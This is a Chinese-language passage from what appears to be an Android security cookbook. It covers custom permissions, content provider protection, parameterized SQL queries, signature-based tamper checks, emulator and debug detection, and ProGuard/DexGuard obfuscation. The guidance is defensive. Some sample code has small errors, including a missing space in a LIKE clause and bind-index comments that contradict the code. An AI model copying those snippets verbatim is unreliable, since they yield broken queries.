文件添加以下几行,可以为你的应用程序添加正常保护级别的自定义权限:<permission android:name="android.permission.CUSTOM_PERMISSION" android:protectionLevel="normal" android:description="My custom permission" android:label="@string/custom_permission_label">
我们将在*它是如何工作的…*部分解释
android:protectionLevel
属性的含义。 -
使用此权限与使用任何其他权限一样;你需要将其添加到应用程序组件的
android:permission
属性中。对于活动:<activity ... android:permission="android.permission.CUSTOM_PERMISSION"> </activity>
或者一个内容提供者:
<provider ... android:permission="android.permission.CUSTOM_PERMISSION"> </provider>
或者一个服务:
<service ... android:permission="android.permission.CUSTOM_PERMISSION"> </service>
或者一个接收器:
<receiver ... android:permission="android.permission.CUSTOM_PERMISSION"> </receiver>
-
你还可以通过将
<uses-permission/>
标签添加到应用程序的AndroidManifest.xml
文件中,允许其他应用程序请求此权限:<uses-permission android:name="android.permission.CUSTOM_PERMISSION"/>
定义一个权限组
自定义权限可以通过逻辑分组来为请求给定权限的应用程序或需要某些权限的组件分配语义意义。通过定义一个权限组并将你的权限分配给这些组来进行权限分组,正如之前所演示的。以下是定义权限组的方法:
-
为权限组的标签添加一个字符串资源,就像之前所做的那样。这可以通过将以下行添加到
res/values/strings.xml
文件来完成:<string name="my_permissions_group_label">Personal Data Access</string>
-
然后,将以下行添加到你的应用程序的
AndroidManifest.xml
文件中:<permission-group android:name="android.permissions.personal_data_access_group" android:label="@string/my_permissions_group_label" android:description="Permissions that allow access to personal data" />
-
然后,你可以将你定义的权限分配给以下群组:
<permission ... android:permissionGroup="android.permission.personal_data_acess_group" />
它是如何工作的…
前面的演练展示了如何通过使用AndroidManifest.xml
文件中的<permission>
元素来定义自定义权限,以及如何通过使用清单中的<permission-group>
元素来定义一个权限组。这里,我们将详细解析这些元素及其属性的细微差别。
<permission>
元素很容易理解。以下是属性分解:
-
android:name
:这定义了权限的名称,这是一个字符串值,将用于引用此权限 -
android:protectionLevel
:这定义了权限的保护级别,并控制是否提示用户授予权限。我们之前已经讨论过这个问题,但这里是保护级别的回顾:-
normal
:此权限用于定义非危险权限,这些权限不会被提示,可能会自动授予 -
dangerous
:此权限用于定义可能会让用户面临相当大的财务、声誉和法律风险的权限 -
signature
:此权限自动授予与定义它们的程序使用相同密钥签名的应用程序 -
signatureOrSystem
:此权限自动授予系统映像的一部分的任何应用程序,或者与定义它们的程序使用相同密钥签名的应用程序
-
如果你只想在你开发的应用间共享组件,请使用signature
权限。例如,这可能是一个免费应用,而解锁应用则作为一个单独的付费下载,或者是一个带有多个可选插件的 应用,希望共享功能。危险权限不会自动授予。在安装时,可能会显示android:description
属性以供用户确认。这在你希望向用户标记其他应用可以访问你的应用数据时非常有用。normal
权限在安装时会自动授予,并且不会向用户标记。
另请参阅
-
Android 开发者指南中的
<permission>
标签,链接为:developer.android.com/guide/topics/manifest/permission-element.html
-
Android 开发者指南中的
<uses-permission>
标签,链接为:developer.android.com/guide/topics/manifest/uses-permission-element.html
-
请参考 Android 开发者指南中的
<permission-group>
标签,链接为:developer.android.com/guide/topics/manifest/permission-group-element.html
-
Android 开发者指南中的
Manifest.permission
类,链接为:developer.android.com/reference/android/Manifest.permission.html
保护内容提供者路径
内容提供者可能是最容易被利用的应用组件,因为它们经常包含对用户身份验证最关键的数据。它们通常包含大量关于用户及其对 SQL 注入攻击敏感的信息。本演练将详细介绍你可以采取的一些措施来保护你的内容提供者,防止由于配置权限时的常见错误导致的一般信息泄露。我们还将讨论如何保护数据库和内容提供者免受 SQL 注入攻击。
本指南将讨论如何向你的AndroidManifest.xml
文件添加特定配置,以保护对内容提供者的访问,直至 URI 路径级别。它还讨论了误用授权 URI 机制的一些安全风险,以避免将过多的内容提供者路径暴露给未经授权或潜在恶意应用。
统一资源标识符(URIs)与内容提供者一起使用,用于标识特定的数据集,例如,content://com.myprovider.android/email/inbox
。
如何操作…
保护任何组件的第一步是确保你已经正确注册了它的权限。保护内容提供者不仅仅是允许与内容提供者的一般交互,还包括相关的 URI 路径。
-
为了使用控制所有与你的权限相关的路径的读取和写入权限的权限来保护你的内容提供者,你可以在你的 Android 清单中添加以下
provider
元素:<provider android:enabled="true" android:exported="true" android:authorities="com.android.myAuthority" android:name="com.myapp.provider" android:permission="[permission name]"> </provider>
在这里,
[permission name]
是其他应用必须拥有的权限,以便读取或写入任何内容提供者路径。在这个级别添加权限是一个非常好的步骤,以确保在保护路径方面没有留下任何机会。 -
自然地,内容提供者会有几个他们希望从中提供内容的内容路径。你可以按照以下方式为它们添加读取和写入权限:
<provider android:writePermission="[write permission name]" android:readPermission="[read permission name]"> </provider>
android:writePermission
和android:readPermission
标签用于声明,每当外部应用想要执行任何读取相关(query
)或写入相关(update
和insert
)的操作时,它们必须拥有指定的权限才能这么做。提示
一个常见的错误是认为授予写入权限会隐式地授予读取权限,但实际上,这不应是默认行为。Android 很好地遵循最佳实践,要求分别声明读取和写入权限。
下面是来自 Android Google Chrome 应用的实际示例:
<provider android:name="com.google.android.apps.chrome.ChromeBrowserProvider" android:readPermission="com.android.browser.permission.READ_HISTORY_BOOKMARKS" android:writePermission="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS" android:exported="true" ...
你还可以通过使用
AndroidManifest.xml
架构中的<path-permission>
元素,为每个路径添加更细粒度的权限;以下是操作方法:<provider ...> <path-permission android:path="/[path name]" android:permission="[read/write permission name]" android:readPermission="[read permission name]" android:writePermission="[write permission name]"> </provider>
你可能会想知道,如果你同时使用这两个级别的权限会发生什么情况。在
<provider>
和<path-permission>
级别,应用是否需要拥有在这两个级别注册的所有权限?答案是否定的,路径级别的读取、写入和读写权限优先。 -
另一件值得一提的事情是 授权 URI 机制。你可以在提供者级别配置它以应用于所有路径,或者在路径级别配置,这只会影响相关路径。然而,如果在路径级别指定权限而在提供者级别授权 URI,这有点奇怪,因为实际上这意味着没有设置任何权限!完全建议开发人员不要在提供者级别使用授权 URI 权限,而应该按路径使用。所以,只有当你需要确保任何应用在仍具有保护其他路径权限的情况下,能够查询、插入或更新某个特定路径时,才应按以下方式操作:
<provider ...> <grant-uri-permission android:path="[path name]" /> </provider>
你还可以使用
pathPrefix
或pathPattern
属性指定一个路径范围,以授权 URI 权限。pathPrefix
将确保授权 URI 机制适用于所有以给定前缀开头的路径。pathPattern
将确保授权 URI 机制适用于所有与给定模式匹配的路径。例如:<grant-uri-permission android:path="[path name]" android:pathPrefix="unsecured"/>
这将应用授权 URI 权限到所有以 “unsecured” 字符串开头的路径,例如:
-
content://com.myprovider.android/unsecuredstuff
-
content://com.myprovider.android/unsecuredsomemorestuff
-
content://com.myprovider.android/unsecured/files
-
content://com.myprovider.android/unsecured/files/music
对于前一个示例,如果查询、更新、插入或删除这些路径中的任何一个,将触发授权 URI 权限。
-
另请参阅
-
请参考 Android 开发者参考指南中的
<provider>
标签,链接为:developer.android.com/guide/topics/manifest/provider-element.html
-
请参考 Android 开发者参考指南中的
<path-permission>
标签,链接为:developer.android.com/guide/topics/manifest/path-permission-element.html
防范 SQL 注入攻击
前一章介绍了一些针对内容提供者的常见攻击方式,其中之一就是臭名昭著的 SQL 注入攻击。这种攻击利用了这样一个事实:攻击者能够提供 SQL 语句或与 SQL 相关的语法作为他们选择参数、投影或有效 SQL 语句的任何部分。这使得他们能够从内容提供者那里提取比未授权更多的信息。
确保攻击者无法将不受欢迎的 SQL 语法注入到您的查询中的最佳方法是避免使用 SQLiteDatabase.rawQuery()
,而选择使用参数化语句。使用编译后的语句,如 SQLiteStatement
,既提供了参数绑定和转义,以防范 SQL 注入攻击。此外,由于数据库不需要在每次执行时解析语句,因此还有性能上的优势。SQLiteStatement
的替代方法是使用 SQLiteDatabase
上的 query
、insert
、update
和 delete
方法,因为它们通过使用字符串数组提供参数化语句。
当我们描述参数化语句时,我们指的是带有问号(?)的 SQL 语句,值将在这里插入或绑定。以下是参数化 SQL insert
语句的一个示例:
INSERT VALUES INTO [table name] (?,?,?,?,...)
在这里,[table name]
将是相关表的名称,需要在该表中插入值。
如何操作…
在本例中,我们使用了一个简单的 数据访问对象 (DAO) 模式,所有针对 RSS 项的数据库操作都包含在 RssItemDAO
类中:
-
当我们实例化
RssItemDAO
时,我们使用带有参数化 SQLinsert
语句字符串的insertStatement
对象进行编译。这只需要做一次,并且可以多次重用进行多次插入:public class RssItemDAO { private SQLiteDatabase db; private SQLiteStatement insertStatement; private static String COL_TITLE = "title"; private static String TABLE_NAME = "RSS_ITEMS"; private static String INSERT_SQL = "insert into " + TABLE_NAME + " (content, link, title) values (?,?,?)"; public RssItemDAO(SQLiteDatabase db) { this.db = db; insertStatement = db.compileStatement(INSERT_SQL); }
INSERT_SQL
变量中列的顺序很重要,因为它直接映射到绑定值时的索引。在上述示例中,content
映射到索引0
,link
映射到索引1
,title
映射到索引2
。 -
现在,当我们向数据库中插入一个新的
RssItem
对象时,我们按语句中出现的顺序绑定每个属性:public long save(RssItem item) { insertStatement.bindString(1, item.getContent()); insertStatement.bindString(2, item.getLink()); insertStatement.bindString(3, item.getTitle()); return insertStatement.executeInsert(); }
请注意,我们调用了
executeInsert
这个辅助方法,它返回新创建行的 ID。使用SQLiteStatement
语句就这么简单。 -
下面的代码展示了如何使用
SQLiteDatabase.query
来获取与给定搜索词匹配的RssItems
:public List<RssItem> fetchRssItemsByTitle(String searchTerm) { Cursor cursor = db.query(TABLE_NAME, null, COL_TITLE + "LIKE ?", new String[] { "%" + searchTerm + "%" }, null, null, null); // process cursor into list List<RssItem> rssItems = new ArrayList<RssItemDAO.RssItem>(); cursor.moveToFirst(); while (!cursor.isAfterLast()) { // maps cursor columns of RssItem properties RssItem item = cursorToRssItem(cursor); rssItems.add(item); cursor.moveToNext(); } return rssItems; }
我们使用
LIKE
和 SQL 的通配符语法来匹配标题列中任何部分的文本。
另请参阅
-
安卓开发者参考指南中的
SQLiteDatabase
类,请访问developer.android.com/reference/android/database/sqlite/SQLiteDatabase.html
-
安卓开发者参考指南中的
SQLiteStatment
类,请访问developer.android.com/reference/android/database/sqlite/SQLiteStatement.html
-
OWASP 社区页面《查询参数化速查表》在
www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
-
SQLite 表达式,请访问
www.sqlite.org/lang_expr.html
应用签名验证(防篡改)
安卓安全的核心基石之一是所有应用都必须进行数字签名。应用开发者使用私钥证书的形式对应用进行签名。无需使用证书授权机构,实际上,更常见的是使用自签名证书。
证书通常都有定义的过期日期,而谷歌应用商店要求证书的有效期截止日期在 2033 年 10 月 22 日之后。这突显了我们的应用签名密钥在整个应用生命周期中保持一致的重要性。其中一个主要原因是保护并防止应用升级,除非旧版本和升级后的.apk
文件的签名完全相同。
那么,既然已经有了这种验证,为什么还要增加一个签名一致性的检查呢?
攻击者修改你的应用程序的.apk
文件的过程会破坏数字签名。这意味着,如果他们想在安卓设备上安装这个.apk
文件,就需要使用不同的签名密钥重新签名。这样做可能有各种动机,从软件盗版到恶意软件都有可能。一旦攻击者修改了你的应用,他们可能会通过各种替代应用商店或更直接的途径,如电子邮件、网站或论坛进行分发。因此,本指南的目的是保护我们的应用、品牌和用户免受这种潜在风险。幸运的是,在运行时,安卓应用可以查询PackageManager
以获取应用签名。本指南展示了如何将当前应用签名与你所知的应该一致的签名进行比较。
准备就绪
本食谱使用 Keytool 命令行程序,并假定您已经创建了一个包含私钥的 .keystore
文件。如果没有,您可以使用 Eclipse 中的 Android 工具导出向导创建应用签名密钥,或者通过在终端窗口中使用以下命令的 Keytool 程序:
keytool -genkey -v -keystore your_app.keystore
-alias alias_name -keyalg RSA -keysize 2048 -validity 10000
如何操作…
首先,您需要找到证书的 SHA1 签名/指纹。我们将把这个硬编码到应用中,并在运行时与之比较。
-
从终端窗口使用 Keytool,您可以输入以下内容:
keytool -list -v -keystore your_app.keystore
系统会提示您输入 keystore 密码。
Keytool 现在将打印出 keystore 中包含的所有密钥的详细信息。找到您的应用密钥,在证书指纹标题下,您应该看到一个十六进制格式的 SHA1。下面是一个使用示例 keystore 的证书的 SHA1 值样本
71:92:0A:C9:48:6E:08:7D:CB:CF:5C:7F:6F:EC:95:21:35:85:BC:C5
: -
从终端窗口复制您的 SHA1 哈希到您的应用中,并在 Java
.class
文件中将其定义为静态字符串。 -
移除冒号后,您应该得到类似这样的结果:
private static String CERTIFICATE_SHA1 = "71920AC9486E087DCBCF5C7F6FEC95213585BCC5";
移除冒号的一个快速简便的方法是将哈希复制粘贴到以下网站,并按下验证按钮:
-
现在,我们需要编写代码以在运行时获取
.apk
文件的当前签名:public static boolean validateAppSignature(Context context) { try { // get the signature form the package manager PackageInfo packageInfo = context.getPackageManager() .getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES); Signature[] appSignatures = packageInfo.signatures; //this sample only checks the first certificate for (Signature signature : appSignatures) { byte[] signatureBytes = signature.toByteArray(); //calc sha1 in hex String currentSignature = calcSHA1(signatureBytes); //compare signatures return CERTIFICATE_SHA1.equalsIgnoreCase(currentSignature); } } catch (Exception e) { // if error assume failed to validate } return false; }
-
我们正在存储签名的 SHA1 哈希;现在,由于我们有了证书,我们需要生成 SHA1 并转换为相同的格式(十六进制):
private static String calcSHA1(byte[] signature) throws NoSuchAlgorithmException { MessageDigest digest = MessageDigest.getInstance("SHA1"); digest.update(signature); byte[] signatureHash = digest.digest(); return bytesToHex(signatureHash); } public static String bytesToHex(byte[] bytes) { final char[] hexArray = { '0', '1', '2', '3', '4', '5', '6', '7', '8','9', 'A', 'B', 'C', 'D', 'E', 'F' }; char[] hexChars = new char[bytes.length * 2]; int v; for (int j = 0; j < bytes.length; j++) { v = bytes[j] & 0xFF; hexChars[j * 2] = hexArray[v >>> 4]; hexChars[j * 2 + 1] = hexArray[v & 0x0F]; } return new String(hexChars); }
-
我们现在比较我们签名的证书的哈希、应用中硬编码的哈希以及当前签名证书的哈希。如果它们相等,我们可以确信应用没有被重新签名:
CERTIFICATE_SHA1.equalsIgnoreCase(currentSignature);
如果一切正常,并且正在运行的是我们签名的 .apk
版本,validateAppSignature()
方法将返回 true
。然而,如果有人编辑了 .apk
文件并重新签名,currentSignature
将不会与 CERTIFICATE_SHA1
匹配。所以,validateAppSignature()
将返回 false。
提示
记得确保哈希以大写形式存储,或者使用 String.equalsIgnoreCase()
方法进行比较。
还有更多…
这种技术应被视为足以阻止当前的自动化应用重新打包。然而,了解其局限性是值得的。由于签名证书的哈希值被硬编码在 .apk
文件中,熟练的逆向工程师有可能剖析 .apk
文件并用新证书的哈希替换 SHA1。这使得 verifyAppSignature
调用可以正常通过。此外,verifyAppSignature
的方法调用也可能被完全移除。这两种选项都需要时间和逆向工程技能。
在讨论签名时,我们不能不提到 bug 8219321,它是由 Bluebox 安全在 2013 年 Blackhat USA 上公布的,也被称为 Master Key 漏洞利用。此漏洞此后已被谷歌和 OEM 厂商修复。关于这一漏洞的完整分解和分析可以在www.saurik.com/id/17
找到。
对篡改检测的响应
当然,这完全取决于你的应用程序。最明显和简单的解决方案是在启动时检查篡改,如果检测到,可以选择退出应用程序并给用户一条解释原因的消息。此外,你可能还希望了解有关妥协的情况。因此,向你的服务器发送通知是适当的。另外,如果你没有服务器并正在使用像 Google Analytics 这样的分析工具,你可以创建一个自定义的“篡改”事件并报告它。
为了阻止软件盗版,你可以禁用高级应用功能。对于游戏来说,禁用多人游戏或删除游戏进度/高分将是一个有效的威慑。
另请参阅
-
本章后面提到的《使用 DexGuard 进行高级代码混淆》食谱,它为篡改保护提供了有用的补充,使得逆向工程师更难以找到、理解,更重要的是移除篡改检查
-
在 Android 开发者网站上的《签名你的应用程序》页面(
developer.android.com/tools/publishing/app-signing.html
) -
在
developer.android.com/reference/android/content/pm/Signature.html
的 Android 开发者参考指南中的Signature
类 -
在
developer.android.com/reference/android/content/pm/PackageManager.html
的 Android 开发者参考指南中的PackageManager
类 -
描述 Master Key 漏洞的《利用(和修复)Android “Master Key”》博客文章,在
www.saurik.com/id/17
-
在
docs.oracle.com/javase/6/docs/technotes/tools/windows/keytool.html
的 Keytool Oracle 文档
通过检测安装程序、模拟器、和调试标志来进行篡改保护
在这个食谱中,我们将查看三个额外的检查,这些检查可能表明一个被篡改、被破坏或敌对的环境。这些检查设计在你准备发布时激活。
如何操作…
这些篡改检查可以位于应用程序中的任何位置,但最合理的是让它们从单独的类或父类中的多个位置被调用。
-
检测 Google Play 商店是否是安装程序:
public static boolean checkGooglePlayStore(Context context) { String installerPackageName = context.getPackageManager() .getInstallerPackageName(context.getPackageName()); return installerPackageName != null && installerPackageName.startsWith("com.google.android"); }
-
检测是否在模拟器上运行:
public static boolean isEmulator() { try { Class systemPropertyClazz = Class .forName("android.os.SystemProperties"); boolean kernelQemu = getProperty(systemPropertyClazz, "ro.kernel.qemu").length() > 0; boolean hardwareGoldfish = getProperty(systemPropertyClazz, "ro.hardware").equals("goldfish"); boolean modelSdk = getProperty(systemPropertyClazz, "ro.product.model").equals("sdk"); if (kernelQemu || hardwareGoldfish || modelSdk) { return true; } } catch (Exception e) { // error assumes emulator } return false; } private static String getProperty(Class clazz, String propertyName) throws Exception { return (String) clazz.getMethod("get", new Class[] { String.class }) .invoke(clazz, new Object[] { propertyName }); }
-
检测应用是否启用了
debuggable
标志——这应该只在开发期间启用:public static boolean isDebuggable(Context context){ return (context.getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0; }
它是如何工作的…
检测安装程序是否为 Google Play 商店是一个简单的检查,即安装程序应用的包名与 Google Play 商店的包名是否匹配。具体来说,它会检查安装器的包名是否以com.google.android
开头。如果你只通过 Google 商店分发,这是一个有用的检查。
Java 反射 API 使得在运行时检查类、方法和字段成为可能;在这种情况下,它允许我们覆盖那些会阻止普通代码编译的访问修饰符。模拟器检查使用反射来访问隐藏的系统类android.os.SystemProperties
。警告一下:使用隐藏 API 可能会有风险,因为它们可能会在 Android 版本之间发生变化。
当debuggable
被启用时,可以通过 Android 调试桥连接并进行详细的动态分析。debuggable
变量是AndroidManifest.xml
文件中<application>
元素的简单属性。它可能是最容易被修改以进行动态分析的属性之一。在第 3 步中,我们看到了如何检查应用信息对象上的debuggable
标志的值。
还有更多…
如果检测到篡改,请参阅*应用程序签名验证(防篡改)*的技巧,了解应采取的措施。一旦应用发布到 Play 商店,在检测到应用正在模拟器上运行或正在被调试时,可以合理地假设应用正在被分析和/或攻击。因此,在这种情况下,采取更积极的措施挫败攻击者,如清除应用数据或共享偏好设置是合理的。但是,如果你打算清除用户数据,请确保在许可协议中注明,以避免潜在的法律问题。
另请参阅
-
使用 DexGuard 进行高级代码混淆的技巧,它为防篡改提供了有用的补充,使得逆向工程师更难以找到、理解以及重要的是移除这些篡改检查。
-
来自 Android 源代码的
SystemProperties.java
类,位于github.com/android/platform_frameworks_base/blob/master/core/java/android/os/SystemProperties.java
-
在Android 开发者参考指南中的
PackageManager
类 -
在Android 开发者参考指南中的
ApplicationInfo
类
使用 ProGuard 移除所有日志消息
ProGuard 是一个开源的 Java 代码混淆器,它与 Android SDK 一起提供。对于那些不熟悉混淆器的人来说,它们会从代码中移除任何执行不需要的信息,例如,未使用的代码和调试信息。同时,标识符会被重命名为易于阅读、描述性和可维护性强的代码,你写的是优化后的、更短且非常难以阅读的代码。之前,一个对象/方法的调用可能看起来像这样:SecurityManager.encrypt(String text);
,但混淆后,它可能看起来像:a.b(String c);
。正如你所看到的,它没有给出其目的的任何线索。
ProGuard 还通过移除未使用的方法、字段和属性来减少代码量,并通过使用机器优化的代码使其执行得更快。这对于移动环境来说非常理想,因为这种优化可以大大减少导出的.apk
文件的大小。特别是当你只使用第三方库的一个子集时,这特别有用。
还有其他可用的 Java 混淆器,但由于 ProGuard 是 Android SDK 的一部分,许多第三方开发库包含自定义的 ProGuard 配置以确保它们能正确运行。
准备就绪
首先,我们将在 Android 应用程序上启用 ProGuard:
-
如果你使用带有 Android ADT 插件的 Eclipse 开发应用程序,你需要找到你的工作区,并导航到包含你的应用程序代码的文件夹。找到之后,你应该会看到一个名为
project.properties
的文本文件:要启用 ProGuard,你需要确保以下行被取消注释:
proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt
这假设你有 Android SDK 的默认文件夹结构,因为之前的配置包括一个静态路径,即
/tools/proguard/proguard-android.txt
。如果你没有正确的文件夹结构或你没有使用 Eclipse 的 Android Developer’s Toolkit 插件,你可以获取proguard-android.txt
文件并将其放在应用程序工作文件夹的上一级文件夹中。在这种情况下,你可以按以下方式配置这个目录:proguard.config=proguard-android.txt:proguard-project.txt
-
Android Studio 配置需要以下行在你的
buildType
发布到 Gradle 构建文件中:android { ... buildTypes { release { runProguard true proguardFile file('../proguard-project.txt) proguardFile getDefaultProguardFile('proguard-android.txt') } } }
-
保留对
proGuard-android.txt
文件的引用很重要,因为它包含了 Android 特定的排除项,如果没有它们,应用程序很可能会无法运行。以下是proguard-android.txt
文件的一个摘录,指导 ProGuard 保留在活动中可能被 XML 属性onClick
使用的方法:-keepclassmembers class * extends android.app.Activity { public void *(android.view.View); }
如何操作…
一旦为你的项目启用了 ProGuard,有两个简单的步骤可以确保移除所有的日志消息。
-
为了让 ProGuard 成功找到所有的日志语句,我们必须使用一个包装类来包装 Android 日志:
public class LogWrap { public static final String TAG = "MyAppTag"; public static void e(final Object obj, final Throwable cause) { Log.e(TAG, String.valueOf(obj)); Log.e(TAG, convertThrowableStackToString(cause)); } public static void e(final Object obj) { Log.e(TAG, String.valueOf(obj)); } public static void w(final Object obj, final Throwable cause) { Log.w(TAG, String.valueOf(obj)); Log.w(TAG, convertThrowableStackToString(cause)); } public static void w(final Object obj) { Log.w(TAG, String.valueOf(obj)); } public static void i(final Object obj) { Log.i(TAG, String.valueOf(obj)); } public static void d(final Object obj) { Log.d(TAG, String.valueOf(obj)); } public static void v(final Object obj) { Log.v(TAG, String.valueOf(obj)); } public static String convertThrowableStackToString(final Throwable thr) { StringWriter b = new StringWriter(); thr.printStackTrace(new PrintWriter(b)); return b.toString(); } }
-
在你的应用程序代码中,使用
LogWrap
代替标准的android.util.Log
。例如:try{ … } catch (IOException e) { LogWrap.e("Error opening file.", e); }
-
在项目的
proguard-project.txt
文件中插入以下自定义 ProGuard 配置:-assumenosideeffects class android.util.Log { public static boolean isLoggable(java.lang.String, int); public static int v(...); public static int i(...); public static int w(...); public static int d(...); public static int e(...); }
-
通过向项目添加优化配置文件来启用 ProGuard 优化:
proguard.config=${sdk.dir}/tools/proguard/proguard-android-optimize.txt:proguard-project.txt
-
以发布模式构建你的应用程序以应用 ProGuard:
-
使用 Eclipse 中的 Android Tools 导出向导
-
在项目根目录下的终端窗口中,输入以下命令:
对于 Ant:
ant release
对于 Gradle:
gradle assembleRelease
-
它的工作原理…
当你以发布模式构建应用程序时,构建系统会在取消注释proguard.config
属性时检查它,并在打包应用程序(.apk
)之前使用 ProGuard 处理应用程序的字节码。
当 ProGuard 处理字节码时,assumeNoeffects
属性允许它完全删除这些代码行——在这种情况下,所有相关的android.util.Log
方法。使用优化配置和日志包装器,我们让 ProGuard 安全地识别所有对各种android.util.Log
方法的调用。启用优化的一个额外好处是,优化代码可以提高混淆因子,使其更难以阅读。
还有更多…
让我们更仔细地看看 ProGuard 的一些输出和限制。
ProGuard 输出
这些是应用 ProGuard 到 Android .apk
后的输出文件:
-
mapping.txt
:顾名思义,这包含了混淆后的类、字段名和原始名称之间的映射关系,这对于使用伴随工具ReTrace去混淆由混淆应用程序产生的堆栈跟踪/错误报告至关重要 -
Seeds.txt
:这列出了没有被混淆的类和成员 -
Usage.txt
:这列出了从.apk
文件中删除的代码 -
Dump.txt
:这描述了.apk
文件中所有类文件的内部结构
提示
还值得注意的是,每次构建的输出文件都会被 ProGuard 覆盖。保存每个应用程序版本的mappings.txt
文件的副本至关重要;否则,将无法转换堆栈跟踪。
限制
使用 ProGuard 混淆应用程序增加了逆向工程、理解和利用应用程序所需的时间和技能水平。然而,逆向仍然是可能的;因此,这绝不应该成为保护应用程序的唯一手段,而应该是整体安全策略的一部分。
另请参阅
-
使用 DexGuard 进行高级代码混淆的技巧,其中讨论了 ProGuard 的姊妹产品 DexGuard,用于更深入的 Android 特定混淆
-
在Android Developers 网站上的ProGuard工具网页
-
ProGuard 的官方网站在这里
-
在这里的 ProGuard 示例配置
使用 DexGuard 进行高级代码混淆
DexGuard 是一个商业优化和混淆工具,由Eric Lafortune(ProGuard 的开发者)编写。它用于替代 ProGuard。与针对 Java 的 ProGuard 不同,DexGuard 专门针对 Android 资源和 Dalvik 字节码。对于开发者来说,一个关键优势是源代码保持可维护和可测试,而编译后的输出既优化又加固。
通常来说,使用 DexGuard 更为安全,因为它针对 Android 进行了优化,并提供额外的安全功能。在本教程中,我们将基于上一个教程的签名验证检查,实现其中的两个功能:API 隐藏和字符串加密。
-
API 隐藏:这使用反射来伪装对敏感 API 和代码的调用。它非常适合隐藏攻击者想要攻击的关键区域。例如,许可证检查检测将是软件盗版者的目标,因此这是一个需要加强防护的重点区域。当被反编译时,基于反射的调用要难以解读得多。
-
字符串加密:这会对源代码中的字符串进行加密,防止被逆向工程师查看。这对于隐藏 API 密钥和其他在代码中定义的常量特别有用。
我们使用 API 隐藏将特定的方法调用转换为基于反射的调用。这对于我们想要从攻击者那里隐藏的敏感方法特别有用,在本例中,就是验证签名方法。反射调用由作为字符串存储的类和方法签名组成。我们可以通过使用补充的字符串加密功能来加密这些反射字符串,进一步强化它。这为保护应用程序的敏感区域提供了一种强大的方法,例如篡改检测、许可证检查以及加密/解密。
注意
DexGuard 需要开发者许可证,可在www.saikoa.com/dexguard
获取。
准备工作
假设 Android SDK Tools(版本 22 或更高)和 DexGuard 已被下载并解压到可访问的目录。示例将使用/Users/user1/dev/lib/DexGuard/
目录,基于 DexGuard 版本 5.3。这里,我们将介绍如何在 Eclipse 中安装 DexGuard,并将其集成到 Ant 和 Gradle 构建系统中。安装后,应用程序将比 ProGuard 具有更高的安全级别。但是,我们将启用一些自定义配置来保护应用程序的敏感区域:
安装 DexGuard Eclipse 插件
-
从 DexGuard 的
/eclipse
目录复制插件 JAR 文件(com.saikoa.dexguard.eclipse.adt_22.0.0.v5_3_14.jar
)到 Eclipse 安装目录的/dropins
目录。 -
启动/重启 Eclipse 时,DexGuard 插件将自动安装。
-
如果一切顺利,当你在 Android 项目上右键点击时,在 Android 工具菜单中应该会注意到一个新的选项:
导出优化和混淆应用程序包 (DexGuard)
-
你的项目现在将像往常一样编译并构建成一个
.apk
文件;然而,在幕后,DexGuard 将被用来优化和混淆应用程序。
为 Ant 构建系统启用 DexGuard
启用 Ant 很简单。在你的 Android 项目的 local.properties
配置文件中指定 DexGuard 目录。
-
如果你没有
local.properties
文件,创建一个。为此,添加以下行:dexguard.dir=/Users/user1/dev/lib/DexGuard/
-
从 DexGuard 目录
ant
复制Custom_rules.xml
到你的 Android 项目的根目录。
为 Gradle 构建系统启用 DexGuard
要为 Gradle 构建系统启用 DexGuard,请修改项目的 build.gradle
文件:
buildscript {
repositories {
flatDir { dirs '/=/Users/user1/dev/lib/DexGuard/lib' }
}
dependencies {
classpath 'com.android.tools.build:gradle:0.5.1'
classpath ':dexguard:'
}
}
apply plugin: 'dexguard'
android {
.....
buildTypes {
release {
proguardFile plugin.getDefaultDexGuardFile('dexguard-release.pro')
proguardFile 'dexguard-project.txt'
}
}
}
如何操作…
设置完成后,我们可以启用和配置 API 隐藏和字符串加密:
-
在你的 Android 项目的根目录中,创建一个名为
dexguard-project.txt
的新文件。 -
配置 DexGuard 加密敏感字符串。在这个例子中,我们使用了一个常见的模式来在接口中包含不可变常量,并使用上一食谱中使用的证书哈希,因为即使使用 ProGuard 混淆,这些常量在反编译后也很容易被读取。
-
在
Constants
接口中加密特定字符串:-encryptstrings interface com.packt.android.security.Constants { public static final java.lang.String CERTIFICATE_SHA1; }
另外,你还可以加密一个接口或类中的所有字符串。以下是加密
MainActivity.java
中定义的所有字符串的示例:-encryptstrings class com.packt.android.security.MainActivity
-
为了响应在 应用程序签名验证(防篡改) 食谱中提到的限制,我们将演示一个相关的方法,除了隐藏对
verifyAppSignature
方法的调用使攻击者很难弄清楚篡改检测发生在哪里这一事实:-accessthroughreflection class com.packt.android.security.Tamper { boolean verifyAppSignature (Context); } -accessthroughreflection class android.content.pm.PackageManager { int checkSignatures(int, int); int checkSignatures(java.lang.String, java.lang.String); android.content.pm.PackageInfo getPackageInfo(java.lang.String, int); } -accessthroughreflection class android.content.pm.Signature { byte[] toByteArray(); char[] toChars(); java.lang.String toCharsString(); }
-
最后一步是以发布模式构建/导出,以确保将 DexGuard 保护应用于生成的
.apk
文件:-
Eclipse: 在项目上右键点击,然后选择 Android Tools | 导出优化和混淆的应用程序包… (DexGuard)
-
Ant: 在项目根目录的终端窗口中运行
ant release
命令 -
Gradle: 在项目根目录的终端窗口中运行
gradle releaseCompile
命令
-
还有更多…
这是与 ProGuard 的正面比较:
ProGuard | DexGuard | |
---|---|---|
缩减 | X | X |
优化 | X | X |
名称混淆 | X | X |
字符串加密 | X | |
类加密 | X | |
反射 | X | |
资产加密 | X | |
资源 XML 混淆 | X | |
转换为 Dalvik | X | |
打包 | X | |
签名 | X | |
篡改检测 | X |
篡改检测是一个长期以来受到喜爱的方法,它使用一个实用程序库,并基于本章中其他食谱的相同原则工作。它之所以受到青睐,是因为它非常容易实现,因为它只是一行代码。
从 ProGuard 升级到 DexGuard 是无缝的,因为为 ProGuard 定义的任何自定义配置都是完全兼容的。这种兼容性的另一个好处是现有的 ProGuard 支持和专业知识社区。
另请参阅
- 官方 DexGuard 网站位于
www.saikoa.com/dexguard